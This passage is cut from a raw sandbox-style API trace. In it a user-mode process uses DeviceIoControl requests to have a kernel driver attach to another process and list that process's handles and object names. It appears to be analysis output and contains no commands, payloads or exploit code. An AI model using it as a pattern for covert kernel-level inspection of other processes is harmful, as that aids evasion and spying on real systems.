returned 0x0 [0104.033] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.033] PsReleaseProcessExitSynchronization () returned 0x2 [0104.033] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.033] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.033] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0104.033] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.033] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.033] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.033] PsAcquireProcessExitSynchronization () returned 0x0 [0104.033] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.033] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0104.033] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.033] PsReleaseProcessExitSynchronization () returned 0x2 [0104.033] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.033] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.033] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0104.034] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.034] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.034] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.034] PsAcquireProcessExitSynchronization () returned 0x0 [0104.034] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.034] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0104.034] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.034] PsReleaseProcessExitSynchronization () returned 0x2 [0104.034] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.034] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.034] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0104.034] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.034] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.034] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.034] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.034] PsAcquireProcessExitSynchronization () returned 0x0 [0104.034] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.034] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0104.034] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.034] PsReleaseProcessExitSynchronization () returned 0x2 [0104.034] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.034] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.035] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0104.035] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0104.035] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.035] PsAcquireProcessExitSynchronization () returned 0x0 [0104.035] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.035] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0104.035] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.035] PsReleaseProcessExitSynchronization () returned 0x2 [0104.035] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.035] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.035] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0104.035] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.035] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.035] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.035] PsAcquireProcessExitSynchronization () returned 0x0 [0104.035] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.035] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0104.035] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.035] PsReleaseProcessExitSynchronization () returned 0x2 [0104.035] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.035] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.035] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0104.035] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.035] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0104.036] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.036] PsAcquireProcessExitSynchronization () returned 0x0 [0104.036] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.036] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0104.036] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.036] PsReleaseProcessExitSynchronization () returned 0x2 [0104.036] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.036] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.036] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0104.036] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.036] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.036] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.036] PsAcquireProcessExitSynchronization () returned 0x0 [0104.036] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.036] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0104.036] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.036] PsReleaseProcessExitSynchronization () returned 0x2 [0104.036] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.036] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.036] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0104.036] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.036] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.036] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0104.036] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.037] PsAcquireProcessExitSynchronization () returned 0x0 [0104.037] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.204] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0104.204] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.204] PsReleaseProcessExitSynchronization () returned 0x2 [0104.204] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.204] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.204] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0104.204] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.204] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.205] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.205] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.205] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.205] PsAcquireProcessExitSynchronization () returned 0x0 [0104.205] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.205] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0104.205] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.205] PsReleaseProcessExitSynchronization () returned 0x2 [0104.205] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.205] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.205] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0104.205] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.205] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.205] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.205] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0104.205] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.205] PsAcquireProcessExitSynchronization () returned 0x0 [0104.205] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.205] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0104.205] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.205] PsReleaseProcessExitSynchronization () returned 0x2 [0104.205] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.205] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.205] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0104.205] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.205] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.205] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.205] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0104.205] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.205] PsAcquireProcessExitSynchronization () returned 0x0 [0104.205] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.205] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0104.205] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.206] PsReleaseProcessExitSynchronization () returned 0x2 [0104.206] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.206] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.206] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0104.206] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.206] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.206] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.206] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0104.206] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.206] PsAcquireProcessExitSynchronization () returned 0x0 [0104.206] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.206] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0104.206] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.206] PsReleaseProcessExitSynchronization () returned 0x2 [0104.206] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.206] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.206] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0104.206] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.206] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.206] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.206] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0104.206] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.206] PsAcquireProcessExitSynchronization () returned 0x0 [0104.206] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.206] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0104.206] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.206] PsReleaseProcessExitSynchronization () returned 0x2 [0104.206] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.206] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.206] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0104.206] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.206] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.206] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.206] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0104.207] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.207] PsAcquireProcessExitSynchronization () returned 0x0 [0104.207] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.207] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0104.207] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.207] PsReleaseProcessExitSynchronization () returned 0x2 [0104.207] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.207] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.207] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0104.207] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.207] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.207] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.207] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0104.207] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.207] PsAcquireProcessExitSynchronization () returned 0x0 [0104.207] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.207] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0104.207] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.207] PsReleaseProcessExitSynchronization () returned 0x2 [0104.207] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.207] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.207] ObfDereferenceObject 